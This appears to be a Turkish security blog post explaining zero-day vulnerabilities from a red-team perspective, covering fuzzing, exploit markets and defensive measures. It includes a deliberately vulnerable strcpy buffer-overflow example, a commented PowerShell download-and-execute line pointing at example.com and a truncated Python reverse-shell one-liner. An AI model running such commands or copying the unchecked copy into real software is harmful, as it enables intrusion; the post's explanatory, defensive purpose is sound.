İçeriğe geç
Sedat Özdemir
Yazılar

exploit

Hayaletin Gölgesi: Zero-Day Dünyasında Kimse Güvende mi?

Yama bekleyen değil, yaması olmayan açıkların peşindeyiz. Siber güvenliğin 'kutsal kasesi' Zero-Day açıklarına Red Team gözüyle bir bakış.

Sedat Özdemir
· 4 dk okuma

Eskiden her şey daha basitti, değil mi? Bir sistemde açık bulmak için 'admin/admin' denemek, basit bir SQL injection patlatmak ya da güncellenmemiş bir Windows Server 2003 bulmak yetiyordu. Artık kimse 8 karakterli basit parolalara güvenmiyor, peki ya hiç bilmediğimiz, üreticisinin bile ruhu duymayan o gedikler? İşte orada işler rengarenk bir hal alıyor. Bugün, siber güvenlik dünyasının o meşhur 'öcüsü'nden, yani Zero-Day (Sıfırıncı Gün) açıklarından konuşacağız. Çayınızı, kahvenizi alın; sahada çokça toz yutmuş bir kardeşiniz olarak size bu işin mutfağını anlatayım.

Nedir Bu Zero-Day Efsanesi?

Aslında mevzu çok net ama bir o kadar da karanlık. Bir yazılımda, donanımda veya protokolde bulunan ve henüz üreticisi (vendor) tarafından keşfedilip yamalanmamış her açığa 'Zero-Day' diyoruz. Adının 'Sıfırıncı Gün' olması, üreticinin bu açığı kapatmak için tam olarak 'sıfır' günü olduğu anlamına geliyor. Yani saldırgan kapıdan girmiş, içeride cirit atıyor ama ev sahibinin kapının kırık olduğundan haberi bile yok.

Sahada biz Red Team ekipleri olarak her zaman sıfırıncı gün kullanmayız. Dürüst olalım, çoğu zaman 'testCompany' gibi yapılarda sızmak için iyi yapılandırılmamış bir Active Directory veya unutulmuş bir test sunucusu yeterli olur. Ancak hedef gerçekten 'hardened' (sıkılaştırılmış) bir yapıysa, o zaman o görünmez anahtarı bulmanız gerekir.

Bir Zero-Day Nasıl Doğar?

Genelde insanlar bu açıkların gökten zembille indiğini sanıyor. Hayır, beyler/bayanlar, bu iş tamamen sabır ve 'fuzzing' işidir. Bir araştırmacı (veya kötü niyetli bir hacker), hedef yazılımın girdi kabul eden her bir hücresine milyonlarca anlamsız veri gönderir. Yazılım bir noktada 'Ben ne yapıyorum?' deyip çöktüğünde, işte o çökme anı bir Zero-Day'in doğum sancısıdır.

Özellikle C/C++ gibi dillerle yazılmış düşük seviyeli sistem bileşenlerinde 'Memory Corruption' (Bellek Bozulması) dediğimiz hadiseler bu işin ekmeği suyudur. Gelin, basit bir 'Buffer Overflow' (Tampon Bellek Taşması) mantığını defanged bir kod üzerinden inceleyelim. Bu, bir Zero-Day'in en temel yapı taşıdır.

// Zararsızlaştırılmış (Defanged) Örnek Kod
#include <iostream>
#include <string.h>

void vulnerable_function(char* input) {
    char buffer[64]; // Sadece 64 byte yerimiz var
    // Tehlike burada! input uzunluğu kontrol edilmeden kopyalanıyor.
    // Gerçek bir senaryoda bu bir network paketinden geliyor olabilir.
    strcpy(buffer, input); 
    std::cout << "İşlem tamam: " << buffer << std::endl;
}

int main(int argc, char** argv) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}

Yukarıdaki kodda, eğer kullanıcı 64 karakterden fazla veri gönderirse, bellek taşar. Peki, bu taşma nereye gider? İşte 'Instruction Pointer' (EIP/RIP) dediğimiz, işlemcinin bir sonraki adımda ne yapacağını söyleyen adresi ezmeye çalışırız. Eğer o adrese kendi 'payload'umuzu yerleştirebilirsek, sistem artık bizim emrimizdedir. İşte size bir Zero-Day'in teknik özeti.

Pazarın Karanlık Yüzü: Milyon Dolarlık Açıklar

Bugün bir iOS veya Android Zero-Day açığının (özellikle kullanıcı etkileşimi gerektirmeyen 'Zero-Click' türlerinin) karaborsada veya legal/semi-legal platformlarda 2-3 milyon dolara alıcı bulduğunu biliyor muydunuz? NSO Group gibi yapıların kullandığı Pegasus yazılımı, bu tür açıkların üzerine inşa edilmiştir.

Bir siber güvenlik uzmanı olarak benim için bu durum iki ucu keskin bıçak. Bir yanda bu açıkları bulup ödül programları (Bug Bounty) üzerinden kapatılmasını sağlayan 'White Hat' dostlarımız, diğer yanda ise bunu bir devlet sırrı gibi saklayıp silahlaştıranlar var.

Peki, Nasıl Korunacağız? (Defensive Mindset)

'Sedat abi, yaması olmayan açığa karşı ne yapalım, fişi mi çekelim?' diyebilirsiniz. Tabii ki hayır. Zero-Day'e karşı savunma, 'Duvardan atlayamazlar' demek değil, 'Duvarı aşsalar bile içeride hareket edemesinler' demektir.

  1. Defense in Depth (Derinlemesine Savunma): Tek bir güvenlik katmanına güvenmeyin. Firewall'u geçen saldırgan EDR'a (Endpoint Detection and Response) takılmalı. EDR'ı aşarsa, network segmentasyonu sayesinde diğer sunuculara sıçrayamamalı.
  2. EDR ve Davranışsal Analiz: Klasik antivirüsler 'imza' bazlı çalışır, yani bilinen zararlıları tanır. Zero-Day'in imzası yoktur. Bu yüzden 'davranış' analizi yapan modern EDR araçları şart. Normalde word.exe neden powershell.exe çalıştırsın ki? İşte bu bir anomali sinyalidir.
  3. Honeypot (Yemleme): Ağınızın içine çok cazip görünen ama aslında içi boş, sadece alarm üreten 'sahte' sunucular koyun. Bir Zero-Day kullanıcısı bile o yeme düşebilir.
  4. Least Privilege (En Az Yetki): Eğer bir servis sadece okuma yetkisine sahipse, o servisteki bir Zero-Day saldırganın tüm sistemi ele geçirmesine yetmeyebilir.

Saldırganın Gözünden Bir Payload Senaryosu

Bir Zero-Day keşfettiğinizi varsayalım (tamamen eğitim amaçlı hayal kuruyoruz!). Saldırganın ilk işi, sistemde bir 'reverse shell' açmaktır. Ama bunu yaparken güvenlik duvarlarına takılmamak için 'Living off the Land' (LotL) dediğimiz, sistemin kendi araçlarını kullanma yöntemine başvurur.

# Defanged/Zararsızlaştırılmış Payload Örneği
# Gerçek bir saldırıda bu, sistemdeki bir açıktan sızdırılan kodun devamıdır.

# Adım 1: Bellek üzerinden direkt komut çalıştırma (Fileless)
# Örnek: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://example.com/mock_script.ps1')"

# Adım 2: Reverse Shell (Bağlantıyı dışarıya çıkarma)
# Normalde 4443 gibi bir port kullanılır ki trafik normal görünsün.
# python3 -c 'import socket,os,pty;s=socket.socket(socket.ip_address("127.0.0.1"));...'

Red Team'in Rolü Nedir?

Bizim 'testCompany' gibi yerlerde yaptığımız şey, 'Dışarıdan birisi gerçekten bu kadar derine inebilir mi?' sorusunun cevabını aramaktır. Zero-Day araştırması yapmak pahalı ve zaman alıcı bir iştir. Bu yüzden Red Team operasyonlarında daha çok 'n-day' (yaması çıkmış ama henüz uygulanmamış) açıklar veya yanlış yapılandırmalar üzerinden gidilir. Ancak, kritik altyapılarda çalışıyorsanız, simülasyonlarınızda 'Zero-Day varmış gibi' hareket etmek, incident response (olaya müdahale) ekiplerinin kas hafızasını güçlendirir.

Toparlarsak...

Siber güvenlikte %100 güvenlik diye bir şey olmadığını hepimiz biliyoruz. Zero-Day açıklar, bu gerçeğin en somut kanıtı. Mesele o açığın olup olmaması değil, o açık kullanıldığında sizin ne kadar hızlı tepki verebildiğinizdir.

Unutmayın, en büyük açık kodda değil, 'Bize bir şey olmaz' diyen zihniyettedir. Bir sonraki kritik açığın ne zaman çıkacağını bilemeyiz ama ona karşı ne kadar hazırlıklı olduğumuz tamamen bizim elimizde.

Kendinize iyi bakın, loglara göz kulak olun. Hadi eyvallah!

İlgili yazılar